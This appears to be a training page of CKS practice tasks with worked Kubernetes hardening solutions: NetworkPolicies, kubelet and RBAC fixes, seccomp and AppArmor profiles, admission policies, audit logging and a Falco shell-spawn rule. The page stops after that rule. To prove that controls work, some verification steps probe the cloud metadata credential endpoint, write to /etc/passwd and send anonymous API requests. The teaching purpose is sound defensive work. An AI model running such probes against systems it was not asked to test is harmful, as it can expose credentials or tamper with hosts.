CKS Practice Tasks
The CKS hands you a live, already-misconfigured cluster and a clock, not a question bank — "this namespace allows privileged pods, fix it," "this image was never scanned, block it at admission," "something spawned a shell in this container three minutes ago, find it." You are graded entirely on the cluster state you leave behind. Reading about Pod Security Admission or cosign does not build the reflex of actually locking one down under time pressure; only doing it, wrong, and then fixing it does. This page is a bank of 15 realistic, timed practice tasks pulled from all six CKS domains, weighted the way the real exam is weighted: three each on Minimize Microservice Vulnerabilities, Supply Chain Security, and Monitoring, Logging & Runtime Security (20% apiece), two each on Cluster Setup and Cluster Hardening (15% apiece), and two on System Hardening (10%). Every task ships with a full worked solution — real YAML, real commands, and the reasoning behind them — but the solution is the answer key, not the lesson. The lesson is the five minutes before you look at it.
The CKA practice bank is a fire drill: something's broken, put it out. This one is different — it's a security drill, and half the fires haven't started yet. Some tasks hand you a building with unlocked doors and ask you to lock the right ones before anyone tries them. Others hand you a building where someone is already inside, and you have to notice the open window, work out how they got in, and shut it — while a guard dog (Falco) is barking about exactly that, if you know how to listen. The CKS isn't testing whether you can describe a lock. It's testing whether you can walk into a building you've never seen, find what's actually unlocked, and lock it in under seven minutes.
How to drill this bank
☺ Like you're 10: Same four rules as the CKA bank, plus one more that matters even more here: never trust that something is secure just because it looks secure.
Reading a worked solution feels like learning and mostly isn't: the exam never asks you to recognize a hardened Pod spec, it asks you to produce one, cold, under a clock, on a cluster you've never seen before. Five rules make this bank behave like the real thing.
One — start cold. Empty terminal, no leftover manifests, no tab open on the solution. That is exactly how the exam starts you.
Two — time-box to five to seven minutes per task. Close to the real per-task budget on a two-hour, roughly 15–16-task paper. When the timer rings, stop, note where you stalled, and move on.
Three — verify with the "done when" line, never with your eyes. A NetworkPolicy that looks right and a NetworkPolicy that a failed wget from the wrong namespace actually confirms are different claims. Only the second one would have scored anything.
Four — redo every miss the next day, cold. A task you got wrong is worth more than ten you got right the first time.
Five — assume nothing is secure until you've proven it. The CKA rewards fixing what's visibly broken. The CKS rewards noticing what looks fine and isn't — a Secret that's base64, not encrypted; a ServiceAccount token mounted into a Pod that never calls the API; a signature check with a wildcard identity that would accept anyone's signature. Every task below has at least one detail like that on purpose.
The CKS's permitted-documentation allowlist is wider than the CKA's — historically it has included the Kubernetes docs plus the docs for a handful of named security projects (Trivy, Falco and AppArmor among them, per past sittings). Practice doc navigation for exactly those sites while you drill, not memorization; confirm the current list in the exam's own Important Instructions before you sit it, as covered on this course's CKS study plan.
The six domains, weighted like the real exam
☺ Like you're 10: Three domains are worth twenty points each — that's 60% of the whole exam living in Microservice Vulnerabilities, Supply Chain, and Runtime Security. This bank leans the same way, on purpose.
These are the same six domains and weights published in the CNCF's Certified Kubernetes Security Specialist (CKS) Exam Curriculum, version 1.34, that the CKS — the exam page and the CKS study plan use. The task count below follows the same proportion: three tasks for each 20% domain, two for each 15% domain, two for the 10% domain — fifteen in total.
The tasks lean on each other the way a real cluster's security posture does — CH1's RBAC scoping is what MR1's audit policy is actually watching; SC2's signed image is the one MV1's admission-time Pod Security check has to let through cleanly. Work them roughly in order the first time through and the bank reads like one hardening pass on one cluster, not fifteen disconnected quizzes. Jump straight to a domain:
Cluster Setup
A default-deny NetworkPolicy reopened for exactly one path, and a CIS-benchmark kubelet hardening pass that also blocks the cloud metadata endpoint.
15% · 2 tasksCluster Hardening
RBAC scoped to least privilege with default ServiceAccount tokens disabled, and an audit of the cluster's own bindings for a hidden over-grant.
10% · 2 tasksSystem Hardening
A custom seccomp profile that blocks one dangerous syscall, and an AppArmor profile confining a container's file access.
20% · 3 tasksMinimize Microservice Vulnerabilities
Pod Security Admission at restricted, etcd encryption at rest for Secrets, and a sandboxed RuntimeClass for an untrusted workload.
Supply Chain Security
A Trivy scan gate, keyless cosign signing verified at admission, and a permitted-registry allowlist with static manifest analysis.
Monitoring, Logging & Runtime Security
An audit policy that logs RBAC changes in full but Secrets only at Metadata, a Falco rule you write and trigger yourself, and a capstone incident to investigate end to end.
Cluster Setup — 15%
☺ Like you're 10: This is the "which doors are open" domain — network paths, TLS, and whether the node itself is configured the way a security checklist says it should be.
Two tasks: a default-deny NetworkPolicy reopened for exactly one path, and a CIS-style kubelet hardening pass that also closes off the cloud metadata endpoint. Background reading: the networking & the CNI deep dive, control-plane internals, and the Cilium / cert-manager tool guides.
CS1 · Default-deny a namespace, then open exactly one path
Namespace ledger currently has no NetworkPolicies at all — every Pod in it can reach anything, and anything can reach it. Lock it down to only what ledger-api actually needs.
Your task:
- A default-deny
NetworkPolicyselecting every Pod inledger, both directions. - An allow rule: ingress to
ledger-apion TCP 8443, from Pods labeledapp: gatewayin namespaceedgeonly. - An allow rule: egress from every Pod in
ledgerto CoreDNS, so name resolution keeps working.
Done when: a Pod in edge labeled app: gateway can reach ledger-api.ledger:8443; a Pod anywhere else cannot; and nslookup kubernetes.default from inside ledger still resolves.
Show the worked solution
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: default-deny, namespace: ledger }
spec:
podSelector: {}
policyTypes: [Ingress, Egress]
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: allow-gateway-to-api, namespace: ledger }
spec:
podSelector: { matchLabels: { app: ledger-api } }
policyTypes: [Ingress]
ingress:
- from:
- namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: edge } }
podSelector: { matchLabels: { app: gateway } }
ports: [{ protocol: TCP, port: 8443 }]
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: allow-dns-egress, namespace: ledger }
spec:
podSelector: {}
policyTypes: [Egress]
egress:
- to: [{ namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: kube-system } }, podSelector: { matchLabels: { k8s-app: kube-dns } } }]
ports: [{ protocol: UDP, port: 53 }, { protocol: TCP, port: 53 }]kubectl apply -f ledger-netpol.yaml kubectl -n edge run tmp --rm -it --restart=Never --image=busybox:1.36 --labels="app=gateway" \ -- wget -qO- --timeout=3 https://ledger-api.ledger:8443 kubectl -n other-ns run tmp --rm -it --restart=Never --image=busybox:1.36 \ -- timeout 3 wget -qO- https://ledger-api.ledger:8443 # should fail kubectl -n ledger exec deploy/ledger-api -- nslookup kubernetes.default
Why: combining a namespaceSelector and a podSelector inside the same from entry is an AND, not an OR — this is the single most common mistake on this exact task shape, and it's what actually restricts the rule to gateway Pods specifically inside edge, not every Pod in edge or every gateway-labeled Pod anywhere. As with the CKA's networking domain, naming an Egress section flips a Pod to deny-by-default on egress including DNS, so the CoreDNS rule isn't optional polish — skip it and every lookup from ledger silently times out.
CS2 · Harden a kubelet against the CIS benchmark, then block the metadata endpoint
A kube-bench run against worker-3 flags three failed checks on its kubelet, and separately, nothing stops a compromised Pod on that node from reaching the cloud provider's instance-metadata service and lifting the node's IAM credentials.
Your task:
- Disable kubelet anonymous authentication.
- Set the kubelet's authorization mode to
Webhookinstead ofAlwaysAllow. - Turn off kubelet profiling.
- Add a NetworkPolicy egress rule denying every Pod in the cluster a path to
169.254.169.254.
Done when: kube-bench re-run against the kubelet checks shows all three as PASS, and a Pod's attempt to curl 169.254.169.254 times out instead of returning instance metadata.
Show the worked solution
# on worker-3 — a kubeadm cluster's kubelet reads its config from this file, not just flags cat /var/lib/kubelet/config.yaml | grep -A2 authentication
# /var/lib/kubelet/config.yaml — the three failed checks, fixed
authentication:
anonymous:
enabled: false # was true — anyone could hit the kubelet API unauthenticated
webhook:
enabled: true
authorization:
mode: Webhook # was AlwaysAllow — defers auth decisions to the API server
protectKernelDefaults: true
readOnlyPort: 0
# profiling is a kubelet CLI flag, not a config.yaml field on most kubeadm builds:
# --profiling=false, set in /var/lib/kubelet/kubeadm-flags.env if not already off by defaultsystemctl daemon-reload && systemctl restart kubelet systemctl status kubelet # active — a config.yaml syntax error here fails closed, so check this before moving on kube-bench run --targets kubelet
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: deny-metadata-egress, namespace: apps }
spec:
podSelector: {}
policyTypes: [Egress]
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except: ["169.254.169.254/32"]kubectl apply -f deny-metadata.yaml kubectl -n apps exec deploy/some-app -- timeout 3 curl -sf http://169.254.169.254/latest/meta-data/ # times out
Why: anonymous kubelet auth and AlwaysAllow authorization together mean anyone who can reach the kubelet's port can run arbitrary commands in any Pod on that node with no credential at all — a single node compromise then requires no privilege escalation whatsoever. The metadata-endpoint block matters for a different reason: on every major cloud, a Pod that can reach 169.254.169.254 can usually mint the node's own IAM credentials, turning a contained container escape into full cloud-account compromise — this is exactly the "protect node metadata and endpoints" competency named in the curriculum.
Cluster Hardening — 15%
☺ Like you're 10: This is the "who's allowed to touch what" domain — RBAC, service-account tokens, and finding the one binding someone left too wide open.
Two tasks: scoping a ServiceAccount to least privilege with default token mounting disabled, and auditing the cluster for a hidden over-grant. Background: RBAC & admission control and the Harden an RBAC Configuration drill.
CH1 · Scope a pipeline ServiceAccount and disable its default token mount
A CI pipeline needs a ServiceAccount called deploy-bot that can manage Deployments in namespace apps and nothing else — and every other Pod in apps that never calls the Kubernetes API shouldn't be carrying a mounted API token at all.
Your task:
- Create
deploy-botinappswith aRole/RoleBindinggranting onlyget/list/watch/update/patchon deployments. - Set
automountServiceAccountToken: falseondeploy-botitself, and mount it explicitly only in the one Pod spec that actually calls the API. - Set the namespace's
defaultServiceAccount toautomountServiceAccountToken: falsetoo, since most Pods inappsnever touch the API at all.
Done when: kubectl auth can-i update deployments -n apps --as=system:serviceaccount:apps:deploy-bot returns yes but the same check for secrets or -n default returns no; and a fresh Pod using the namespace's default ServiceAccount has no /var/run/secrets/kubernetes.io/serviceaccount token mounted.
Show the worked solution
apiVersion: v1
kind: ServiceAccount
metadata: { name: deploy-bot, namespace: apps }
automountServiceAccountToken: false
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: { name: deployer, namespace: apps }
rules:
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "watch", "update", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: { name: deploy-bot-binding, namespace: apps }
subjects: [{ kind: ServiceAccount, name: deploy-bot, namespace: apps }]
roleRef: { kind: Role, name: deployer, apiGroup: rbac.authorization.k8s.io }
---
apiVersion: v1
kind: ServiceAccount
metadata: { name: default, namespace: apps }
automountServiceAccountToken: falsekubectl apply -f deploy-bot.yaml
kubectl auth can-i update deployments -n apps --as=system:serviceaccount:apps:deploy-bot # yes
kubectl auth can-i delete secrets -n apps --as=system:serviceaccount:apps:deploy-bot # no
kubectl auth can-i update deployments -n default --as=system:serviceaccount:apps:deploy-bot # no — wrong namespace
# a Pod that legitimately needs the token opts back in explicitly, per-Pod
kubectl -n apps run pipeline --image=deploy-bot:1.0 --serviceaccount=deploy-bot \
--overrides='{"spec":{"automountServiceAccountToken":true}}'
# any other Pod on the namespace default SA has no token at all
kubectl -n apps run probe --image=busybox:1.36 --restart=Never -- ls /var/run/secrets/kubernetes.io/serviceaccount
# ls: /var/run/secrets/kubernetes.io/serviceaccount: No such file or directoryWhy: a mounted ServiceAccount token is a live credential sitting in the container's filesystem, readable by anything that gets shell access — and by default every Pod gets one whether it calls the API or not. The curriculum names this exactly: "exercise caution in using service accounts — disable defaults, minimize permissions on newly created ones." Disabling it at the default ServiceAccount level closes the gap for every Pod that forgets to opt out, while the one Pod that genuinely needs API access opts back in explicitly and narrowly.
CH2 · Audit the cluster for a hidden over-grant, then remove it
Something in this cluster grants far more access than anyone intended. Find it by auditing bindings, not by being told where it is — the way the exam actually presents this competency.
Your task:
- List every
ClusterRoleBindingand find the one binding a broad principal to a powerful role. - Confirm what it actually grants with
kubectl auth can-i --list. - Remove or narrow it to only what's justified, and confirm anonymous requests are also rejected at the API server.
Done when: kubectl get clusterrolebindings -o json shows no binding naming system:anonymous or the system:unauthenticated group against cluster-admin or any other non-trivial role, and curl -k https://<api-server>:6443/api/v1/namespaces --anonymous-style unauthenticated request is rejected.
Show the worked solution
kubectl get clusterrolebindings -o json \ | jq -r '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated") | .metadata.name' # anonymous-cluster-admin kubectl describe clusterrolebinding anonymous-cluster-admin # Role: cluster-admin # Subjects: Group system:unauthenticated — anyone, unauthenticated, has full cluster-admin kubectl auth can-i --list --as-group=system:unauthenticated --as=system:anonymous | head -5
kubectl delete clusterrolebinding anonymous-cluster-admin # confirm the API server itself also refuses anonymous auth, belt-and-braces grep anonymous-auth /etc/kubernetes/manifests/kube-apiserver.yaml # --anonymous-auth=false — if missing, add it and let the kubelet restart the static pod curl -k https://<api-server>:6443/api/v1/namespaces # 401 Unauthorized, not a namespace list
Why: a ClusterRoleBinding to the system:unauthenticated group is the single most dangerous binding a cluster can carry — it grants the bound role to literally anyone who can reach the API server's network, no credential required, and it's exactly the kind of thing that gets added "temporarily" during a debugging session and never removed. Auditing bindings by subject rather than by role name is what catches it — the role name alone (cluster-admin) tells you nothing about who it's bound to.
System Hardening — 10%
☺ Like you're 10: The smallest domain, and the one that goes below Kubernetes entirely — into what the container's syscalls and file access are actually allowed to do on the host kernel.
Two tasks: a custom seccomp profile that blocks one dangerous syscall by name, and an AppArmor profile confining a container's filesystem access. Background: Security: Defense in Depth and control-plane internals.
SH1 · Write a custom seccomp profile that blocks mount
RuntimeDefault seccomp is already set cluster-wide, but report-generator handles untrusted input and needs an extra restriction: it should never be able to call mount, even though the default profile would otherwise permit it for certain image types.
Your task:
- Write a seccomp JSON profile that defaults to
SCMP_ACT_ALLOWbut explicitly denies themountandumount2syscalls. - Place it on the node under the kubelet's seccomp root and reference it from the Pod as a
Localhostprofile. - Confirm the container starts normally, then confirm the specific syscall is actually blocked.
Done when: the Pod reaches Running, and a manual mount attempt from inside the container fails with Operation not permitted — not merely a permissions error from running as non-root.
Show the worked solution
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["mount", "umount2"],
"action": "SCMP_ACT_ERRNO"
}
]
}# on the node running report-generator — kubelet's default seccomp profile root mkdir -p /var/lib/kubelet/seccomp/profiles cp no-mount.json /var/lib/kubelet/seccomp/profiles/no-mount.json
apiVersion: v1
kind: Pod
metadata: { name: report-generator, namespace: apps }
spec:
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-mount.json
containers:
- name: app
image: registry.internal/report-generator:2.1
securityContext:
allowPrivilegeEscalation: falsekubectl apply -f report-generator.yaml kubectl -n apps get pod report-generator # Running kubectl -n apps exec report-generator -- mount -t tmpfs tmpfs /mnt # mount: permission denied — seccomp filter, not a DAC/capability error
Why: RuntimeDefault is a broad, container-runtime-maintained allowlist meant to be safe for most workloads — it is not the same claim as "safe for a workload that parses untrusted input," which is exactly the case the curriculum's "appropriately use kernel hardening tools" competency is testing. A Localhost profile lets you go narrower than the default for one specific Pod without touching every other workload's profile.
SH2 · Confine a container's file access with AppArmor
log-shipper only ever needs to read /var/log/app and write to /tmp. Right now it can read and write anywhere in its filesystem, which is a much bigger blast radius than the job needs.
Your task:
- Write an AppArmor profile permitting only read on
/var/log/app/**and read-write on/tmp/**, denying everything else by default. - Load it on the node and confirm it's enforcing, not just loaded.
- Attach it to the Pod via the standard container annotation and confirm the container still starts and still does its job.
Done when: log-shipper reaches Running and still ships logs successfully, and kubectl exec into it followed by an attempt to write to /etc/passwd fails with Permission denied.
Show the worked solution
# /etc/apparmor.d/log-shipper — profile name here must exactly match the annotation below
cat <<'EOF' > /etc/apparmor.d/log-shipper
#include <tunables/global>
profile log-shipper flags=(attach_disconnected) {
#include <abstractions/base>
/var/log/app/** r,
/tmp/** rw,
deny /** wl,
}
EOF
apparmor_parser -r -W /etc/apparmor.d/log-shipper
aa-status | grep log-shipper # confirm it's loaded and in enforce mode, not complainapiVersion: v1
kind: Pod
metadata:
name: log-shipper
namespace: apps
annotations:
# container.apparmor.security.beta.kubernetes.io/
container.apparmor.security.beta.kubernetes.io/app: localhost/log-shipper
spec:
containers:
- name: app
image: registry.internal/log-shipper:1.2 kubectl apply -f log-shipper.yaml kubectl -n apps get pod log-shipper # Running kubectl -n apps logs log-shipper --tail=5 # still shipping normally kubectl -n apps exec log-shipper -- sh -c 'echo x >> /etc/passwd' # sh: can't create /etc/passwd: Permission denied
Why: AppArmor confines a container by path, which is the complementary control to seccomp's confinement by syscall — a workload with a legitimate reason to call a broad set of syscalls can still be denied access to almost the entire filesystem, cutting off exactly the persistence and tampering moves an attacker wants even from inside a "normal" running process. The annotation must name the profile loaded on the node the Pod actually schedules to — a profile loaded on one node and a Pod scheduled to another fails silently as a missing-profile error at container start.
Minimize Microservice Vulnerabilities — 20%
☺ Like you're 10: This is the "assume the app itself gets popped, now what" domain — Pod Security Standards, real Secret protection, and giving the riskiest workloads their own sandbox.
Three tasks: enforcing Pod Security Admission at restricted, encrypting Secrets at rest in etcd (not just base64), and sandboxing an untrusted workload with a RuntimeClass. Background: the RBAC & admission control deep dive and Security: Defense in Depth.
MV1 · Enforce restricted Pod Security Admission, then fix a Pod to pass it
Namespace payments has no Pod Security Admission labels at all — anything can be deployed there, privileged or not. Lock it to the restricted standard, then bring an existing, non-compliant Pod spec into line.
Your task:
- Label
paymentsto enforce therestrictedPod Security Standard. - Try to deploy the existing
legacy-workerPod spec as-is and read exactly what the admission rejection names. - Fix the spec — non-root, no privilege escalation, all capabilities dropped, a seccomp profile set, read-only root filesystem — until it's admitted.
Done when: the namespace's PSA label is enforce: restricted, and the fixed legacy-worker Pod reaches Running with no admission rejection.
Show the worked solution
apiVersion: v1
kind: Namespace
metadata:
name: payments
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latestkubectl apply -f payments-ns.yaml kubectl apply -f legacy-worker.yaml # Error from server (Forbidden): pods "legacy-worker" is forbidden: violates PodSecurity "restricted:latest": # allowPrivilegeEscalation != false, unrestricted capabilities, runAsNonRoot != true, seccompProfile
apiVersion: v1
kind: Pod
metadata: { name: legacy-worker, namespace: payments }
spec:
securityContext:
runAsNonRoot: true
runAsUser: 10001
seccompProfile: { type: RuntimeDefault }
containers:
- name: worker
image: registry.internal/legacy-worker@sha256:7ab1...
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }kubectl apply -f legacy-worker.yaml kubectl -n payments get pod legacy-worker # Running
Why: PodSecurityPolicy is gone; Pod Security Admission is the built-in replacement — a namespace label, not a cluster-wide object, which is exactly why it's the fastest guardrail to apply broadly. The rejection message itself lists every violated rule by name, which is the fast path to the fix — reading it carefully beats guessing which of the four restricted requirements is missing.
MV2 · Encrypt Secrets at rest in etcd, not just base64
A Secret in this cluster is stored in etcd as base64 — which is encoding, not encryption, and anyone with filesystem access to an etcd node or a backup can read it in plaintext. Fix that at the source.
Your task:
- Write an
EncryptionConfigurationusingaescbcas the provider for thesecretsresource. - Wire it into the API server with
--encryption-provider-configand restart it. - Force existing Secrets to be rewritten under the new encryption, and confirm etcd's on-disk value is no longer readable as plaintext.
Done when: a raw etcdctl get against the Secret's key shows encrypted, unreadable bytes prefixed with the provider identifier — not a base64 string that decodes cleanly.
Show the worked solution
# /etc/kubernetes/enc/encryption-config.yaml — on the control-plane node
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources: ["secrets"]
providers:
- aescbc:
keys:
- name: key1
secret: <base64-encoded-32-byte-key>
- identity: {} # keep as fallback for reads of any not-yet-rewritten object# add to the kube-apiserver static pod manifest # --encryption-provider-config=/etc/kubernetes/enc/encryption-config.yaml vi /etc/kubernetes/manifests/kube-apiserver.yaml # the kubelet restarts the static pod automatically once the file changes # force a rewrite of every existing Secret under the new provider kubectl get secrets -A -o json | kubectl replace -f - # confirm directly against etcd, bypassing the API server's own decryption ETCDCTL_API=3 etcdctl get /registry/secrets/payments/db-credentials \ --endpoints=https://127.0.0.1:2379 --cacert=... --cert=... --key=... | hexdump -C | head -3 # k8s:enc:aescbc:v1:key1:... — encrypted, not a clean base64 payload
Why: a Kubernetes Secret's base64 encoding is reversible by anyone with the raw bytes — it protects against accidental display, nothing else. EncryptionConfiguration is the actual control, and the two-step nature of this task is the trap: enabling it only encrypts objects written after the change, so every Secret that already existed stays plaintext in etcd until something rewrites it — a get | replace pass over every existing Secret is the standard way to force that.
MV3 · Sandbox an untrusted workload with a RuntimeClass
plugin-runner executes third-party, semi-trusted plugin code and needs stronger isolation than the standard container runtime gives it — a kernel-level escape from this container should not reach the host kernel at all.
Your task:
- Confirm a sandboxed runtime (gVisor, handler
runsc) is already installed and registered on the node's container runtime. - Create a
RuntimeClasspointing at that handler. - Set
plugin-runner's Pod spec to request it.
Done when: the Pod schedules only onto a node with the handler registered and reaches Running, and crictl inspectp for that Pod's sandbox on the node shows runsc as the runtime, not runc.
Show the worked solution
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata: { name: gvisor }
handler: runsc
scheduling:
nodeSelector:
sandbox.gvisor.dev/runtime: "true" # only nodes labeled as gVisor-capableapiVersion: v1
kind: Pod
metadata: { name: plugin-runner, namespace: apps }
spec:
runtimeClassName: gvisor
containers:
- name: runner
image: registry.internal/plugin-runner:3.0kubectl label node worker-4 sandbox.gvisor.dev/runtime=true kubectl apply -f gvisor-rc.yaml -f plugin-runner.yaml kubectl -n apps get pod plugin-runner -o wide # Running, on worker-4 # on worker-4 crictl inspectp $(crictl pods --name plugin-runner -q) | grep runtimeHandler # "runtimeHandler": "runsc"
Why: a standard container shares the host kernel with every other container on the node — a kernel vulnerability, once triggered from inside a compromised container, can reach the host and every other workload on it. gVisor (or Kata, using hardware virtualization instead) interposes an extra kernel boundary specifically so that escape path doesn't exist. The nodeSelector matters as much as the RuntimeClass itself — a Pod requesting a handler that isn't installed on the node it lands on fails to start with a runtime error, not a helpful message about missing isolation.
Supply Chain Security — 20%
☺ Like you're 10: This is the "prove where this image actually came from" domain — scan it, sign it, and refuse to run anything that skipped a step.
Three tasks: gating a build on a Trivy scan, verifying a keyless cosign signature at admission, and restricting to a permitted-registry allowlist with static manifest analysis. Background: this course doesn't yet carry dedicated tool guides for Trivy, cosign or Kyverno — for the full walkthrough of this exact pipeline, see Platform Engineering's CKS page, which covers it domain-by-domain in depth.
SC1 · Gate a build on a Trivy scan and generate an SBOM
Nothing in this pipeline currently checks an image for known CVEs before it ships, and nobody can currently answer "what's actually inside this image" without opening it manually.
Your task:
- Scan
registry.internal/payments-api:1.4.3for HIGH and CRITICAL vulnerabilities, failing the build on any hit. - Generate a CycloneDX SBOM for the same image and save it as a pipeline artifact.
Done when: the scan command exits non-zero on an image with a known critical CVE and exits 0 on a clean rebuild, and sbom.json lists the image's actual package inventory.
Show the worked solution
trivy image --severity HIGH,CRITICAL --exit-code 1 registry.internal/payments-api:1.4.3 echo $? # 1 — build fails here, on purpose trivy image --format cyclonedx --output sbom.json registry.internal/payments-api:1.4.3 jq '.components | length' sbom.json # a real package count, not zero
Why: --exit-code 1 is what turns a scan from a report nobody reads into an actual gate — without it, Trivy prints findings and the pipeline continues regardless. An SBOM is the artifact that lets you answer "are we exposed to CVE-2026-NNNNN" for every image already shipped, in seconds, instead of re-scanning your entire fleet reactively the day a new CVE drops — which is the point of "understand your supply chain" as its own named competency, separate from just scanning.
SC2 · Sign an image keylessly with cosign, then enforce the signature at admission
Images reach production today with no proof of who built them. Fix that so the cluster itself refuses to run anything unsigned.
Your task:
- Sign
payments-apikeylessly, tied to the CI identity that built it. - Manually verify the signature, pinning the exact issuer and identity — never a wildcard.
- Write a Kyverno policy that verifies the signature at admission and rejects anything unsigned or signed by the wrong identity.
Done when: a signed, correctly-identified image is admitted; an unsigned image, or one signed under a different identity, is rejected by the admission webhook with a clear policy-violation message — not a generic scheduling failure.
Show the worked solution
# in CI, using the workload's own OIDC token — no long-lived signing key to leak or rotate cosign sign registry.internal/payments-api@sha256:9f2c... # pin both the issuer and the identity pattern — a wildcard identity accepts anyone's signature cosign verify \ --certificate-identity-regexp '^https://github\.com/acme/payments-api/.+' \ --certificate-oidc-issuer https://token.actions.githubusercontent.com \ registry.internal/payments-api@sha256:9f2c...
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata: { name: require-signed-images }
spec:
validationFailureAction: Enforce
rules:
- name: images-must-be-signed
match:
any: [{ resources: { kinds: [Pod] } }]
verifyImages:
- imageReferences: ["registry.internal/*"]
attestors:
- entries:
- keyless:
issuer: https://token.actions.githubusercontent.com
subject: "https://github.com/acme/*"kubectl apply -f require-signed-images.yaml kubectl run good --image=registry.internal/payments-api@sha256:9f2c... # admitted kubectl run bad --image=registry.internal/payments-api:untested-local # denied by admission webhook
Why: signing an image and verifying that signature at the point the cluster actually runs it are two different controls — a signature nobody checks at admission is a compliance artifact, not a security control. Pinning the identity regexp is the detail that matters most: a verify step that accepts any issuer or any subject is functionally the same as no verification at all, since an attacker's own signed-but-malicious image would pass it just as cleanly.
SC3 · Restrict to a registry allowlist and statically analyze the manifest
Nothing currently stops a Pod from pulling an image out of Docker Hub or any other public registry, and nobody checks a workload manifest for obviously risky settings before it's applied.
Your task:
- Write a Kyverno policy rejecting any Pod whose image isn't from
registry.internal/*. - Statically analyze a sample manifest with
kubesecand read what it flags. - Fix every finding the scan raises before the manifest is allowed to ship.
Done when: a Pod referencing docker.io/nginx is rejected at admission with a clear "unpermitted registry" message, and kubesec scan against the fixed manifest returns a clean, high-scoring result.
Show the worked solution
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata: { name: only-permitted-registries }
spec:
validationFailureAction: Enforce
rules:
- name: block-unlisted-registries
match:
any: [{ resources: { kinds: [Pod] } }]
validate:
message: "Images must come from registry.internal"
pattern:
spec:
# a single-element list pattern applies to every entry — but containers,
# initContainers and ephemeralContainers each need their own rule to close the gap
containers:
- image: "registry.internal/*"kubectl apply -f only-permitted-registries.yaml kubectl run test --image=docker.io/nginx:latest # admission webhook denied: Images must come from registry.internal kubesec scan payments-api-pod.yaml # critical: allowPrivilegeEscalation not set to false # critical: no read-only root filesystem # medium: no capabilities dropped # score: -12 → after fixing the three findings above: score: 5, PASS
Why: a registry allowlist closes the "where did this even come from" question that signature verification alone doesn't — an attacker who compromises a permitted registry's namespace can still sign their own malicious image with a stolen or newly-forged identity, so the allowlist and the signature check are complementary, not redundant. Static analysis catches the class of problem that scanning an image's contents never will: the manifest itself, wide open, before a single byte of the image has even been pulled.
Monitoring, Logging & Runtime Security — 20%
☺ Like you're 10: The last 20% assumes prevention already failed once — can you actually notice, and can you prove afterward exactly who did what.
Three tasks: an audit policy that logs RBAC changes in full while capping Secrets at metadata-only, a Falco rule you write and trigger yourself, and a capstone that ties an alert to the audit trail to reconstruct what actually happened. Background: observability on Kubernetes and a troubleshooting methodology.
MR1 · Write an audit policy: full detail on RBAC, metadata-only on Secrets
This cluster currently keeps no audit trail at all. Add one that answers "who changed what" for the events that matter, without writing Secret payloads into a log file that then becomes its own liability.
Your task:
- Write an audit
Policy:RequestResponselevel for changes to RBAC objects,Metadatalevel for secrets and configmaps,Metadatafor everything else. - Wire it into the API server with
--audit-policy-fileand--audit-log-path. - Confirm both halves of the split actually happened.
Done when: a RoleBinding change appears in the audit log with its full request body, and a Secret read or write appears in the log with only metadata — no data field contents anywhere in the file.
Show the worked solution
# /etc/kubernetes/audit/policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: ["RequestReceived"]
rules:
- level: Metadata
resources: [{ group: "", resources: ["secrets", "configmaps"] }]
- level: RequestResponse
resources:
- group: "rbac.authorization.k8s.io"
resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]
- level: Metadata# kube-apiserver static pod manifest additions
# --audit-policy-file=/etc/kubernetes/audit/policy.yaml
# --audit-log-path=/var/log/kubernetes/audit.log
# --audit-log-maxage=7 --audit-log-maxbackup=5 --audit-log-maxsize=100
vi /etc/kubernetes/manifests/kube-apiserver.yaml
# mount /etc/kubernetes/audit and /var/log/kubernetes as hostPath volumes if not already present
kubectl create rolebinding test-audit --role=view --serviceaccount=apps:probe -n apps
grep '"rolebindings"' /var/log/kubernetes/audit.log | tail -1 | jq '.responseObject.metadata.name'
# full object present — RequestResponse worked
kubectl -n apps get secret db-credentials
grep '"secrets"' /var/log/kubernetes/audit.log | tail -1 | jq 'has("responseObject")'
# false — metadata only, no payload ever written to diskWhy: audit rules are evaluated top-to-bottom and the first match wins, which is exactly why the Secrets rule has to come before the catch-all Metadata rule — reversed order and a broader RBAC-adjacent rule could still capture full Secret bodies before the narrower rule ever gets evaluated. Logging Secret values would create a second, often less-protected copy of every credential in the cluster, which defeats the purpose of protecting them in the first place — this is why "use audit logs to monitor access" and "ensure immutability" sit in the same domain together.
MR2 · Write a Falco rule, then trigger and read your own alert
Falco is installed with only its stock rule set. Add one custom rule for a specific behavior this cluster's threat model cares about, then prove it actually fires.
Your task:
- Write a Falco rule that fires when a shell is spawned inside any container in namespace
payments. - Load the rule and confirm Falco picks it up without restarting the whole daemonset unnecessarily.
kubectl execa shell into apaymentscontainer and find your own alert in Falco's output.
Done when: the Falco log shows a WARNING-or-higher alert naming the exact Pod, container, and shell process from your exec, within a few seconds of running it.
Show the worked solution
# /etc/falco/rules.d/payments-shell.yaml
- rule: Shell Spawned in Payments Namespace
desc: A shell was spawned inside a container in the payments namespace
condition: >
spawned_process and container and
k8s.ns.name = "payments" and
proc.name in (shell_binaries)
output: >
Shell spawned in payments namespace
(user=%user.name pod=%k8s.pod.name container=%container.name shell=%proc.name cmdline=%proc.cmdline)
priority: WARNING
